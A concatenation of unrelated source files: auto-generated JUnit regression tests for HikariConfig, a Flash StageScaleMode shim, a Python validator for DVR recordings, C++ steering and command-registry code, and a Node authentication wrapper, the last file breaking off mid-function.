org.junit.Assert.assertNull(str1);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + 10 + "'", int2 == 10);
org.junit.Assert.assertTrue("'" + int11 + "' != '" + 3 + "'", int11 == 3);
}
@Test
public void test19493() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19493");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
hikariConfig1.setMaxLifetime((long) (short) 1);
java.lang.String str10 = hikariConfig1.getConnectionCustomizerClassName();
javax.sql.DataSource dataSource11 = hikariConfig1.getDataSource();
boolean boolean12 = hikariConfig1.isAutoCommit();
hikariConfig1.maxLifetime = (byte) 100;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertNull(dataSource11);
org.junit.Assert.assertTrue("'" + boolean12 + "' != '" + true + "'", boolean12 == true);
}
@Test
public void test19494() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19494");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.connectionTimeout = 10L;
hikariConfig1.connectionTestQuery = "HikariPool-104";
int int8 = hikariConfig1.transactionIsolation;
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.setUseInstrumentation(true);
hikariConfig1.isJdbc4connectionTest = false;
java.lang.Class<?> wildcardClass15 = hikariConfig1.getClass();
org.junit.Assert.assertTrue("'" + int8 + "' != '" + (-1) + "'", int8 == (-1));
org.junit.Assert.assertNotNull(wildcardClass15);
}
@Test
public void test19495() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19495");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.setConnectionInitSql("hi!");
boolean boolean4 = hikariConfig1.isRegisterMbeans();
hikariConfig1.setIdleTimeout((long) (short) 100);
hikariConfig1.maxPoolSize = (-1);
long long9 = hikariConfig1.getAcquireRetryDelay();
java.util.Properties properties10 = null;
com.zaxxer.hikari.HikariConfig hikariConfig11 = new com.zaxxer.hikari.HikariConfig(properties10);
int int12 = hikariConfig11.getTransactionIsolation();
hikariConfig11.poolName = "hi!";
hikariConfig11.acquireRetries = ' ';
hikariConfig11.connectionTimeout = (byte) 1;
hikariConfig11.setUseInstrumentation(true);
hikariConfig11.transactionIsolation = 100;
java.util.Properties properties23 = hikariConfig11.dataSourceProperties;
hikariConfig1.setDataSourceProperties(properties23);
hikariConfig1.setJdbc4ConnectionTest(true);
boolean boolean27 = hikariConfig1.isJdbc4connectionTest;
java.lang.String str28 = hikariConfig1.poolName;
org.junit.Assert.assertTrue("'" + boolean4 + "' != '" + false + "'", boolean4 == false);
org.junit.Assert.assertTrue("'" + long9 + "' != '" + 0L + "'", long9 == 0L);
org.junit.Assert.assertTrue("'" + int12 + "' != '" + (-1) + "'", int12 == (-1));
org.junit.Assert.assertNotNull(properties23);
org.junit.Assert.assertTrue("'" + boolean27 + "' != '" + true + "'", boolean27 == true);
// flaky: org.junit.Assert.assertEquals("'" + str28 + "' != '" + "HikariPool-51463" + "'", str28, "HikariPool-51463");
}
@Test
public void test19496() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19496");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
long long6 = hikariConfig1.getIdleTimeout();
java.lang.String str7 = hikariConfig1.getCatalog();
java.util.Properties properties8 = hikariConfig1.getDataSourceProperties();
hikariConfig1.setIdleTimeout((long) (short) 10);
hikariConfig1.setMaximumPoolSize((int) '4');
hikariConfig1.setMaxLifetime((long) 0);
hikariConfig1.connectionCustomizerClassName = "HikariPool-481";
boolean boolean17 = hikariConfig1.isInitializationFailFast();
hikariConfig1.setUseInstrumentation(false);
hikariConfig1.setMaxLifetime((long) (byte) 0);
java.lang.String str22 = hikariConfig1.getDataSourceClassName();
javax.sql.DataSource dataSource23 = null;
hikariConfig1.setDataSource(dataSource23);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 60L + "'", long6 == 60L);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean17 + "' != '" + false + "'", boolean17 == false);
org.junit.Assert.assertNull(str22);
}
@Test
public void test19497() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19497");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.setTransactionIsolation("hi!");
int int6 = hikariConfig1.getMaximumPoolSize();
long long7 = hikariConfig1.maxLifetime;
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer8 = hikariConfig1.connectionCustomizer;
long long9 = hikariConfig1.getLeakDetectionThreshold();
hikariConfig1.isJdbc4connectionTest = true;
boolean boolean12 = hikariConfig1.isInitializationFailFast();
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
// flaky: org.junit.Assert.assertTrue("'" + long7 + "' != '" + 35L + "'", long7 == 35L);
org.junit.Assert.assertNull(iConnectionCustomizer8);
org.junit.Assert.assertTrue("'" + long9 + "' != '" + 100L + "'", long9 == 100L);
org.junit.Assert.assertTrue("'" + boolean12 + "' != '" + false + "'", boolean12 == false);
}
@Test
public void test19498() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19498");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.isRegisterMbeans = true;
boolean boolean9 = hikariConfig1.isJdbc4ConnectionTest();
int int10 = hikariConfig1.maxPoolSize;
hikariConfig1.isAutoCommit = false;
boolean boolean13 = hikariConfig1.isJdbc4ConnectionTest();
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer14 = null;
hikariConfig1.connectionCustomizer = iConnectionCustomizer14;
hikariConfig1.idleTimeout = 32;
java.lang.String str18 = hikariConfig1.getConnectionTestQuery();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + true + "'", boolean9 == true);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + 60 + "'", int10 == 60);
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + true + "'", boolean13 == true);
org.junit.Assert.assertNull(str18);
}
@Test
public void test19499() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19499");
com.zaxxer.hikari.HikariConfig hikariConfig0 = new com.zaxxer.hikari.HikariConfig();
java.lang.String str1 = hikariConfig0.catalog;
int int2 = hikariConfig0.getMinimumPoolSize();
hikariConfig0.connectionCustomizerClassName = "hi!";
hikariConfig0.setUseInstrumentation(false);
hikariConfig0.setInitializationFailFast(true);
java.util.Properties properties9 = hikariConfig0.dataSourceProperties;
java.lang.String str10 = hikariConfig0.connectionCustomizerClassName;
long long11 = hikariConfig0.leakDetectionThreshold;
hikariConfig0.setConnectionCustomizerClassName("HikariPool-292");
java.util.Properties properties14 = null;
com.zaxxer.hikari.HikariConfig hikariConfig15 = new com.zaxxer.hikari.HikariConfig(properties14);
boolean boolean16 = hikariConfig15.isAutoCommit;
hikariConfig15.poolName = "hi!";
java.util.Properties properties19 = hikariConfig15.dataSourceProperties;
hikariConfig0.setDataSourceProperties(properties19);
com.zaxxer.hikari.HikariConfig hikariConfig21 = new com.zaxxer.hikari.HikariConfig(properties19);
hikariConfig21.connectionInitSql = "HikariPool-271";
org.junit.Assert.assertNull(str1);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + 10 + "'", int2 == 10);
org.junit.Assert.assertNotNull(properties9);
org.junit.Assert.assertEquals("'" + str10 + "' != '" + "hi!" + "'", str10, "hi!");
org.junit.Assert.assertTrue("'" + long11 + "' != '" + 0L + "'", long11 == 0L);
org.junit.Assert.assertTrue("'" + boolean16 + "' != '" + true + "'", boolean16 == true);
org.junit.Assert.assertNotNull(properties19);
}
@Test
public void test19500() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19500");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
boolean boolean4 = hikariConfig1.isJdbc4connectionTest;
long long5 = hikariConfig1.getIdleTimeout();
hikariConfig1.setUseInstrumentation(false);
hikariConfig1.setJdbc4ConnectionTest(false);
java.util.Properties properties10 = hikariConfig1.dataSourceProperties;
hikariConfig1.setConnectionCustomizerClassName("HikariPool-306");
java.lang.String str13 = hikariConfig1.transactionIsolationName;
long long14 = hikariConfig1.leakDetectionThreshold;
hikariConfig1.transactionIsolationName = "HikariPool-1649";
org.junit.Assert.assertTrue("'" + boolean4 + "' != '" + true + "'", boolean4 == true);
// flaky: org.junit.Assert.assertTrue("'" + long5 + "' != '" + 60L + "'", long5 == 60L);
org.junit.Assert.assertNotNull(properties10);
org.junit.Assert.assertNull(str13);
org.junit.Assert.assertTrue("'" + long14 + "' != '" + 100L + "'", long14 == 100L);
}
}
|
isi-dwade/guepard | sdk/core/flash/display/StageScaleMode.js | <reponame>isi-dwade/guepard
/*class flash.display.StageScaleMode*/
(function ()
{
"use strict";
var s = {};
s.__init__ = function ()
{
/*public*/
this/*const*/.EXACT_FIT/*String*/ = "exactFit";
/*public*/
this/*const*/.NO_BORDER/*String*/ = "noBorder";
/*public*/
this/*const*/.NO_SCALE/*String*/ = "noScale";
/*public*/
this/*const*/.SHOW_ALL/*String*/ = "showAll";
};
flash.addDescription("flash.display.StageScaleMode", null, null, s, null);
}
());
|
jasonivey/scripts | validate_lsdvr_tests.py | <filename>validate_lsdvr_tests.py
import argparse
import datetime
from contextlib import closing
import gzip
import json
import os
import sys
import socket
import traceback
import urllib.request, urllib.error, urllib.parse
import lsdvr_http_api
_VERBOSE_OUTPUT = False
_DATE_TIME_CONVERSION_FMT = '%Y-%m-%d %H:%M:%S'
def _is_verbose_output_enabled():
return _VERBOSE_OUTPUT
def _from_time_t(value):
return datetime.datetime.fromtimestamp(value)
def _to_datetime(value):
return datetime.datetime.strptime(value, _DATE_TIME_CONVERSION_FMT)
def _from_datetime(value):
fmt_str = '{0:' + _DATE_TIME_CONVERSION_FMT + '}'
return fmt_str.format(value)
def _is_valid_ip(ip):
try:
socket.inet_aton(ip)
return ip
except:
msg = "{0} is not a valid ip address".format(ip)
raise argparse.ArgumentTypeError(msg)
def _directory_exists(dir):
if not os.path.isdir(dir):
msg = "{0} is not a valid directory".format(dir)
raise argparse.ArgumentTypeError(msg)
return os.path.normpath(os.path.abspath(dir))
def _parse_args():
description = 'Validate tests run on the LSDVR. It will retrieve asset information for all assets and store them'
description += ' locally to be used when the script is run again. If neither \'--find-xxxx\' switch is specified'
description += ' the asset information will be retrieved and then saved to the local directory.'
parser = argparse.ArgumentParser(description=description)
parser.add_argument('-i', '--ipaddr', metavar='<ip address>', required=True, nargs='+', type=_is_valid_ip, help='ip address of LSDVR')
parser.add_argument('-d', '--directory', required=False, type=_directory_exists, help='local directory where data resides')
#parser.add_argument('-t', '--type', required=True, choices=['chop', 'rolling_chop', 'stream'], help='the type of test to validate')
parser.add_argument('-e', '--find-empty', default=False, action='store_true', help='find empty streams (i.e. recordings which didn\'t start')
parser.add_argument('-b', '--find-glitch', default=False, action='store_true', help='find glitch streams (i.e. recordings which didn\'t start/stop on time')
parser.add_argument('-f', '--force', default=False, action='store_true', help='force the script to re-fetch data from source test machine')
parser.add_argument('-v', '--verbose', default=False, action='store_true', help='output verbose debugging information')
args = parser.parse_args()
global _VERBOSE_OUTPUT
_VERBOSE_OUTPUT = args.verbose
return args.ipaddr, args.directory, args.find_empty, args.find_glitch, args.force
class RecordingsSerializer(object):
def __init__(self, directory, ip_addr, force):
self._filename = os.path.join(directory, '{0}.json.gz'.format(ip_addr))
self._force = force
self._flush = False
self._recordings = []
self._deserialize()
if len(self._recordings) == 0:
self._recordings = _get_recordings(ip_addr)
self._flush = True
self._recordings = sorted(self._recordings, cmp=Recording.sort_compare)
def _deserialize(self):
if not os.path.isfile(self._filename):
return
with gzip.open(self._filename, 'rb') as restore_file:
if _is_verbose_output_enabled():
print('reading backup data from {0}'.format(self._filename))
restore_data = restore_file.read()
restore_objs = json.loads(restore_data)
for restore_obj in restore_objs:
self.recordings.append(Recording.deserialize(restore_obj))
def _serialize(self):
backup_data = []
for recording in self.recordings:
backup_data.append(recording.serialize())
with gzip.open(self._filename, 'wb') as backup_file:
if _is_verbose_output_enabled():
print('writing backup data to {0}'.format(self._filename))
backup_file.write(json.dumps(backup_data))
def serialize(self):
if self._flush:
self._serialize()
@classmethod
def deserialize(cls, directory, filename, force):
return cls(directory, filename, force)
@property
def recordings(self):
return self._recordings
class StreamFile(object):
def __init__(self, name, stream, number, profile, partition):
self._name = name
self._stream = stream
self._number = number
self._profile = profile
self._partition = partition
def serialize(self):
obj = {}
obj['name'] = self._name
obj['stream'] = self._stream
obj['number'] = self._number
obj['profile'] = self._profile
obj['partition'] = self._partition
return obj
@classmethod
def deserialize(cls, obj):
return cls(obj['name'], obj['stream'], obj['number'], obj['profile'], obj['partition'])
@property
def name(self):
return name
def __cmp__(self, other):
return cmp(self.name, other.name)
def __str__(self):
return self.name
class Stream(object):
def __init__(self, stream_id, start, stop):
self._stream_id = stream_id
self._start_time = start
self._stop_time = stop
self._stream_files = []
def serialize(self):
obj = {}
obj['stream_id'] = self._stream_id
obj['start_time'] = _from_datetime(self._start_time)
obj['stop_time'] = _from_datetime(self._stop_time)
obj['stream_files'] = []
for s_file in self._stream_files:
obj['stream_files'].append(s_file.serialize())
return obj
@classmethod
def deserialize(cls, obj):
c = cls(obj['stream_id'], _to_datetime(obj['start_time']), _to_datetime(obj['stop_time']))
for obj_stream_file in obj['stream_files']:
c.stream_files.append(StreamFile.deserialize(obj_stream_file))
return c
@property
def stream_id(self):
return self._stream_id
@property
def start_time(self):
return self._start_time
#@start_time.setter
#def start_time(self, value):
# self._start_time = value
@property
def stop_time(self):
return self._stop_time
#<EMAIL>
#def stop_time(self, value):
# self._stop_time = value
@property
def stream_files(self):
return self._stream_files
@stream_files.setter
def stream_files(self, value):
self._stream_files = value
def __cmp__(self, other):
return cmp(self.stream_id, other.stream_id)
def __str__(self):
return '{0}'.format(self._stream_id)
class Recording(object):
def __init__(self, asset_id, channel_guid, callsign, channel_rf, major, minor, start, stop):
self._asset_id = asset_id
self._channel_guid = channel_guid
self._callsign = callsign
self._channel_rf = channel_rf
self._channel_major = major
self._channel_minor = minor
self._start_time = start
self._stop_time = stop
self._streams = []
def serialize(self):
obj = {}
obj['asset_id'] = self._asset_id
obj['channel_guid'] = self._channel_guid
obj['callsign'] = self._callsign
obj['channel_rf'] = self._channel_rf
obj['channel_major'] = self._channel_major
obj['channel_minor'] = self._channel_minor
obj['start_time'] = _from_datetime(self._start_time)
obj['stop_time'] = _from_datetime(self._stop_time)
obj['streams'] = []
for s in self._streams:
obj['streams'].append(s.serialize())
return obj
@classmethod
def deserialize(cls, obj):
c = cls(obj['asset_id'],
obj['channel_guid'],
obj['callsign'],
obj['channel_rf'],
obj['channel_major'],
obj['channel_minor'],
_to_datetime(obj['start_time']),
_to_datetime(obj['stop_time']))
for obj_stream in obj['streams']:
c.streams.append(Stream.deserialize(obj_stream))
return c
@property
def asset_id(self):
return self._asset_id
@property
def start(self):
return self._start_time
@property
def stop(self):
return self._stop_time
@property
def streams(self):
return self._streams
def sort_compare(self, other):
if self._start_time != other._start_time:
return cmp(self._start_time, other._start_time)
if self._channel_rf != other._channel_rf:
return cmp(self._channel_rf, other._channel_rf)
if self._channel_major != other._channel_major:
return cmp(self._channel_major, other._channel_major)
if self._channel_minor != other._channel_minor:
return cmp(self._channel_major, other._channel_major)
return 0
def compare_key(self):
return self._start_time
def __cmp__(self, other):
return cmp(self.asset_id, other.asset_id)
def __str__(self):
str = ''
str += '{0}\n'.format(self._asset_id)
str += '{0}\n'.format(self._channel_guid)
str += '{0}\n'.format(self._callsign)
str += '{0}\n'.format(self._channel_rf)
str += '{0}\n'.format(self._channel_major)
str += '{0}\n'.format(self._channel_minor)
str += '{0}\n'.format(_from_datetime(self._start_time))
str += '{0}\n'.format(_from_datetime(self._stop_time))
for stream in self.streams:
str += ' {0}\n'.format(stream)
return str
MAX_CHUNK_SIZE = 50
def _create_get_clips_list_params_chunk(asset_ids):
params = []
begin = 0
while begin != len(asset_ids):
end = begin + min(MAX_CHUNK_SIZE, len(asset_ids[begin:]))
params_dict = {}
params_dict['message_type'] = 'get_clips_list'
params_dict['assets'] = asset_ids[begin:end]
begin = end
params.append(json.dumps(params_dict))
#if _is_verbose_output_enabled():
# print(params)
return params
def _print_timing_info(elapsed):
#start_time = datetime.datetime.now()
#end_time = datetime.datetime.now()
#_print_timing_info(end_time - start_time)
total_hours = int(elapsed.seconds / 3600)
total_minutes = int((elapsed.seconds % 3600) / 60)
total_seconds = int((elapsed.seconds % 3600) % 60)
op_hours = int((elapsed.seconds / MAX_CHUNK_SIZE ) / 3600)
op_minutes = int(((elapsed.seconds / MAX_CHUNK_SIZE ) % 3600) / 60)
op_seconds = int(((elapsed.seconds / MAX_CHUNK_SIZE ) % 3600) % 60)
print('Timing for request: {0:02d}:{1:02d}:{2:02d}:{3:03d}'.format(total_hours, total_minutes, total_seconds, elapsed.microseconds / 1000))
print('Timing for recording: {0:02d}:{1:02d}:{2:02d}:{3:03d}'.format(op_hours, op_minutes, op_seconds, elapsed.microseconds / MAX_CHUNK_SIZE / 1000))
def _parse_stream_range_start(range_str):
i = range_str.find(',')
return int(float(range_str[:i])) if i != -1 else 0
def _parse_stream_range_stop(range_str):
i = range_str.find(',')
return int(float(range_str[i + 1:])) if i != -1 and i + 1 < len(range_str) else 0
def _get_stream_files(ip_addr, stream_id):
stream_files = []
partitions = lsdvr_http_api.get_stream_partitions(ip_addr, stream_id, _is_verbose_output_enabled())
for partition in partitions:
details = lsdvr_http_api.get_stream_files(ip_addr, stream_id, partition, _is_verbose_output_enabled())
for name, number, profile in details:
stream_file = StreamFile(name, stream_id, number, profile, int(partition, 16))
stream_files.append(stream_file)
return stream_files
def _parse_asset_json(values):
if 'assets' not in values: return []
recordings = []
for asset in values['assets']:
recording = Recording(asset['asset_id'],
asset['channel_guid'],
asset['callsign'],
asset['channel_rf'],
asset['channel_major'],
asset['channel_minor'],
_from_time_t(asset['start_time']),
_from_time_t(asset['stop_time']))
if 'clips' in asset:
for clip in asset['clips']:
if clip['type'] == 'content':
start = asset['start_time'] + _parse_stream_range_start(clip['range']);
stop = asset['start_time'] + _parse_stream_range_stop(clip['range']);
stream = Stream(clip['stream_id'], _from_time_t(start), _from_time_t(stop))
recording.streams.append(stream)
recordings.append(recording)
return recordings
def _get_recordings_chunk(ip_addr, params):
url = 'http://{0}/api/'.format(ip_addr)
with closing(urllib.request.urlopen(url, data=params)) as site:
values = json.loads(site.read())
return _parse_asset_json(values)
def _get_asset_ids(ip_addr):
url = 'http://{0}/api/'.format(ip_addr)
params = '{"message_type": "get_asset_ids"}'
assets = []
with closing(urllib.request.urlopen(url, data=params)) as site:
values = json.loads(site.read())
if 'assets' in values:
for asset in values['assets']:
assets.append(str(asset))
if _is_verbose_output_enabled():
print('Total assets retrieved: {0}'.format(len(assets)))
return assets
def _get_recordings(ip_addr):
recordings = []
error = False
try:
asset_ids = _get_asset_ids(ip_addr)
clips_list_params_chunks = _create_get_clips_list_params_chunk(asset_ids)
for clips_list_params_chunk in clips_list_params_chunks:
recordings += _get_recordings_chunk(ip_addr, clips_list_params_chunk)
for recording in recordings:
for stream in recording.streams:
stream.stream_files = _get_stream_files(ip_addr, stream.stream_id)
except urllib.error.HTTPError as err:
error = True
print('EXCEPTION: while getting recordings for {0}. {1}'.format(ip_addr, err))
#if error:
# asset_ids = lsdvr_http_api.get_asset_ids(ip_addr, _is_verbose_output_enabled())
# for asset_id in asset_ids:
# stream_ids = lsdvr_http_api.get_stream_ids(ip_addr, asset_id, _is_verbose_output_enabled())
# for stream_id in stream_ids:
return recordings
def _validate_recording(ip_addr, recording):
SECONDS_PER_FILE = 2
TOTAL_PROFILE_COUNT = 4
if recording.start == recording.stop:
return
if len(recording.streams) > 1:
print('ERROR: recording {0} has more than one stream ({1})'.format(recording.asset_id, len(recording.streams)))
return
if len(recording.streams) == 0:
return
stream = recording.streams[0]
stream_id = stream.stream_id
stream_file_count = len(stream.stream_files)
if stream_file_count == 0:
print('ERROR: recording {0} does not have any files'.format(recording.asset_id))
recording_duration = recording.stop - recording.start
if _is_verbose_output_enabled():
print('recording {0} duration is {1}'.format(recording.asset_id, recording_duration))
calculated_file_count = (recording_duration.total_seconds() / SECONDS_PER_FILE) * TOTAL_PROFILE_COUNT
buffer_file_count = ((60 * 2) / SECONDS_PER_FILE) * TOTAL_PROFILE_COUNT
if _is_verbose_output_enabled():
print('recording {0} file count is {1}'.format(recording.asset_id, calculated_file_count))
if _is_verbose_output_enabled():
print('recording {0} actual file count is {1}'.format(recording.asset_id, stream_file_count))
calc_start_time = recording.start
calc_stop_time = recording.start + datetime.timedelta(seconds=(stream_file_count / TOTAL_PROFILE_COUNT) * SECONDS_PER_FILE)
calc_stream_file_duration = calc_stop_time - calc_start_time
if stream_file_count < calculated_file_count:
#print('ERROR: recording {0} has stream {1} which contains {2} files when there should be at least {3} files'.
# format(recording.asset_id, stream_id, stream_file_count, calculated_file_count))
print('TRUNCATED RECORDING ERROR: recording {0} has stream {1} which recorded for {2} when it should have recorded for {3}'.
format(recording.asset_id, stream_id, calc_stream_file_duration, recording_duration))
# we start the recording a minute early and end a minute late (buffer_file_count == 2 minutes)
if stream_file_count > calculated_file_count + buffer_file_count:
#print('ERROR: recording {0} has stream {1} which contains {2} files when there should be no more than {3} files'.
# format(recording.asset_id, stream_id, stream_file_count, calculated_file_count))
print('RECORDING STOP ERROR: recording {0} has stream {1} which recorded for {2} when it should have recorded for {3}'.
format(recording.asset_id, stream_id, calc_stream_file_duration, recording_duration))
def _validate_recorsings_gitch(ip_addr, recordings):
[_validate_recording(ip_addr, recording) for recording in recordings if len(recording.streams) != 0]
def _validate_recordings_started(recordings):
empty_stream_recordings = [recording for recording in recordings if len(recording.streams) == 0]
if len(empty_stream_recordings) != 0:
print('Recordings which did not start:')
for recording in empty_stream_recordings:
print(' {0} starting {1} and ending {2}'.
format(recording.asset_id, _from_datetime(recording.start), _from_datetime(recording.stop)))
def validate_test_machine(recordings, ip_addr, find_empty, find_glitch):
if _is_verbose_output_enabled():
[print('{0}'.format(recording)) for recording in recordings]
if find_glitch:
_validate_recorsings_gitch(ip_addr, recordings)
if find_empty:
_validate_recordings_started(recordings)
def main():
ip_addrs, directory, find_empty, find_glitch, force = _parse_args()
print('ip address: {0}, directory: {1}, find empty: {2}, find glitch: {3} force: {4}'.
format(ip_addrs, directory, find_empty, find_glitch, force))
try:
for ip_addr in ip_addrs:
print('\nValidation for {0}'.format(ip_addr))
serializer = RecordingsSerializer.deserialize(directory, ip_addr, force)
validate_test_machine(serializer.recordings, ip_addr, find_empty, find_glitch)
serializer.serialize()
print()
except:
exc_type, exc_value, exc_traceback = sys.exc_info()
traceback.print_exception(exc_type, exc_value, exc_traceback, file=sys.stdout)
return 1
return 0
if __name__ == '__main__':
sys.exit(main())
|
niello/deusexmachina | DEM/Game/src/AI/Movement/SteerAction.h | <gh_stars>10-100
#pragma once
#include <AI/Navigation/TraversalAction.h>
#include <Events/EventNative.h>
// Provides steering traversal action, processed by the character controller
// or similar components. It is the most common case, simple movement.
namespace DEM::AI
{
class Steer : public Events::CEventNative
{
NATIVE_EVENT_DECL(Steer, Events::CEventNative);
public:
// Squared range (in meters) in which agent is considered being at the destination
// NB: too low tolerance may lead to float precision errors
static inline constexpr float LinearTolerance = 0.0004f;
static inline constexpr float SqLinearTolerance = LinearTolerance * LinearTolerance;
// TODO: check this old info, may be still actual, then must adjust current tolerances
//// At very small speeds and physics step sizes body position stops updating because of limited
//// float precision. LinearSpeed = 0.0007f, StepSize = 0.01f, Pos + LinearSpeed * StepSize = Pos.
//// So body never reaches the desired destination and we must accept arrival at given tolerance.
//// The less is this value, the more precise is resulting position, but the more time arrival takes.
//// Empirical minimum value is somewhere around 0.0008f.
//// This value is measured in game world meters.
//const float LinearArrivalTolerance = 0.009f;
vector3 _Dest;
vector3 _NextDest;
float _AdditionalDistance = 0.f; // Set < 0.f to disable arrival slowdown
explicit Steer(const vector3& Dest, const vector3& NextDest, float AdditionalDistance)
: _Dest(Dest), _NextDest(NextDest), _AdditionalDistance(AdditionalDistance)
{}
};
class Turn : public Events::CEventNative
{
NATIVE_EVENT_DECL(Turn, Events::CEventNative);
public:
// Angle offset (in radians) in which agent is considered facing the lookat direction
// NB: too low tolerance may lead to float precision errors
static inline constexpr float AngularTolerance = 0.0001f; // Old was 0.005f
vector3 _LookatDirection;
float _Tolerance;
explicit Turn(const vector3& LookatDirection, float Tolerance = AngularTolerance)
: _LookatDirection(LookatDirection)
, _Tolerance(Tolerance)
{
_LookatDirection.norm();
}
};
class CSteerAction : public CTraversalAction
{
FACTORY_CLASS_DECL;
public:
// When steering through the offmesh connection, must reach the start point first
virtual float GetSqTriggerRadius(float AgentRadius, float OffmeshTriggerRadius) const override { return std::max(Steer::SqLinearTolerance, OffmeshTriggerRadius * OffmeshTriggerRadius); }
virtual bool GenerateAction(Game::CGameSession& Session, CNavAgentComponent& Agent, Game::HEntity Actor, Game::HEntity Controller, Game::CActionQueueComponent& Queue, Game::HAction NavAction, const vector3& Pos) override;
};
}
|
natura-cosmeticos/node-base | src/commands/authentication-command.js | <filename>src/commands/authentication-command.js<gh_stars>1-10
const { EventEmitter } = require('events');
const BaseCommand = require('./base-command');
const { unauthorized } = require('../base-events');
const invalidAuthorizationError = {
message: 'authorization.invalid',
};
module.exports = class AuthenticationCommand extends BaseCommand {
constructor(command, authorizationProvider) {
super();
this.command = command;
this.authorizationProvider = authorizationProvider;
Object.keys(EventEmitter.prototype).forEach((attr) => {
if (typeof command[attr] === 'function') {
this[attr] = (...args) => command[attr](...args);
return;
}
this[attr] = command[attr];
});
}
async execute(args) {
if (!this.authorizationProvider.isValid()) {
this.emit(unauthorized, invalidAuthorizationError);
return;
}
const authenticationData = await this.authorizationProvider.getAuthorization();
await this.command.execute({ ...args, authenticationData });
}
};
|
caetanosauer/zero | src/cmd/base/command.cpp | <filename>src/cmd/base/command.cpp
#include "command.h"
#include "kits_cmd.h"
#include "genarchive.h"
#include "mergeruns.h"
#include "agglog.h"
#include "logcat.h"
#include "verifylog.h"
#include "truncatelog.h"
#include "propstats.h"
#include "logpagestats.h"
#include "loganalysis.h"
#include "dbscan.h"
#include "addbackup.h"
#include "xctlatency.h"
#include "tracerestore.h"
#include "archstats.h"
#include "logrecinfo.h"
#include "nodbgen.h"
#include <boost/foreach.hpp>
/*
* Adapted from
* http://stackoverflow.com/questions/582331/is-there-a-way-to-instantiate-objects-from-a-string-holding-their-class-name
*/
Command::ConstructorMap Command::constructorMap;
template<typename T> Command* createCommand()
{
return new T;
}
#define REGISTER_COMMAND(str, cmd) \
{ \
Command::constructorMap[str] = &createCommand<cmd>; \
}
void Command::init()
{
/*
* COMMANDS MUST BE REGISTERED HERE AND ONLY HERE
*/
REGISTER_COMMAND("logcat", LogCat);
//REGISTER_COMMAND("logreplay", LogReplay);
REGISTER_COMMAND("genarchive", GenArchive);
REGISTER_COMMAND("mergeruns", MergeRuns);
REGISTER_COMMAND("verifylog", VerifyLog);
REGISTER_COMMAND("truncatelog", TruncateLog);
REGISTER_COMMAND("dbscan", DBScan);
REGISTER_COMMAND("nodbgen", NoDBGen);
REGISTER_COMMAND("addbackup", AddBackup);
REGISTER_COMMAND("xctlatency", XctLatency);
REGISTER_COMMAND("agglog", AggLog);
REGISTER_COMMAND("logpagestats", LogPageStats);
REGISTER_COMMAND("loganalysis", LogAnalysis);
REGISTER_COMMAND("kits", KitsCommand);
REGISTER_COMMAND("propstats", PropStats);
REGISTER_COMMAND("tracerestore", RestoreTrace);
REGISTER_COMMAND("logrecinfo", LogrecInfo);
REGISTER_COMMAND("archstats", ArchStats);
}
void Command::setupCommonOptions()
{
options.add_options()
("help,h", "Displays help information regarding a specific command")
("config,c", po::value<string>()->implicit_value("zapps.conf"),
"Specify path to a config file");
}
void Command::showCommands()
{
cerr << "Usage: zapps <command> [options] "
<< endl << "Commands:" << endl;
ConstructorMap::iterator it;
for (it = constructorMap.begin(); it != constructorMap.end(); it++) {
